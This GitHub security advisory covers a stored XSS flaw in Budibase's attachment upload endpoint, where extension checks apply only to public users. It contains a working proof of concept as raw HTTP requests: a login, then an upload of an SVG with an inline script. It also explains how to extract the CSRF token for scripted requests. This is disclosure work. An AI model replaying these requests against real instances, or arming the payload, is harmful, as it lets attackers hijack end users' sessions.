OSV 1.4.0 · github-reviewed · 修改于 2026-06-09 07:51
发布时间
2026-05-20 00:31
GitHub 审查时间
2026-05-20 00:31
NVD 发布时间
2026-05-28 02:16
源文件
advisories/github-reviewed/2026/05/GHSA-82rc-gxrg-v4gf/GHSA-82rc-gxrg-v4gf.json
The file upload endpoint POST /api/attachments/process does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (html, svg, js, php, etc.) are conditionally wrapped inside if (isPublicUser) or if (isPublicUser || !env.SELF_HOSTED), meaning any authenticated builder can upload executable web content — SVG files with inline <script> tags, HTML pages with JavaScript, .js modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (image/svg+xml, text/html, application/javascript). When the resulting signed URL is opened by any app user, the browser executes the payload.
Impact is persistent stored XSS over all application end users.
The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179).
Route definitions (packages/server/src/api/routes/static.ts):
POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders.
POST /api/global/auth/default/login HTTP/1.1
Host: target:10000
Content-Type: application/json
{"username":"[email protected]","password":"BuilderPass1!"}
HTTP/1.1 200 OK
Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
{"message":"Login successful"}
<img width="3087" height="1489" alt="image" src="https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565" />
<img width="2100" height="1016" alt="image" src="https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4" />
The CSRF token is bound to the session. Browsers send it automatically via the Budibase
frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to
extract sessionId, then read the Redis key session-<userId>/<sessionId> → csrfToken.
POST /api/attachments/process HTTP/1.1
Host: target:10000
Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig>
x-budibase-app-id: <dev_app_id>
x-csrf-token: <csrf_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Length: 391
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="file"; filename="xss.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
HTTP/1.1 200 OK
[{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}]
Discovered By: Abdulrahman Albatel Abdullah Alrasheed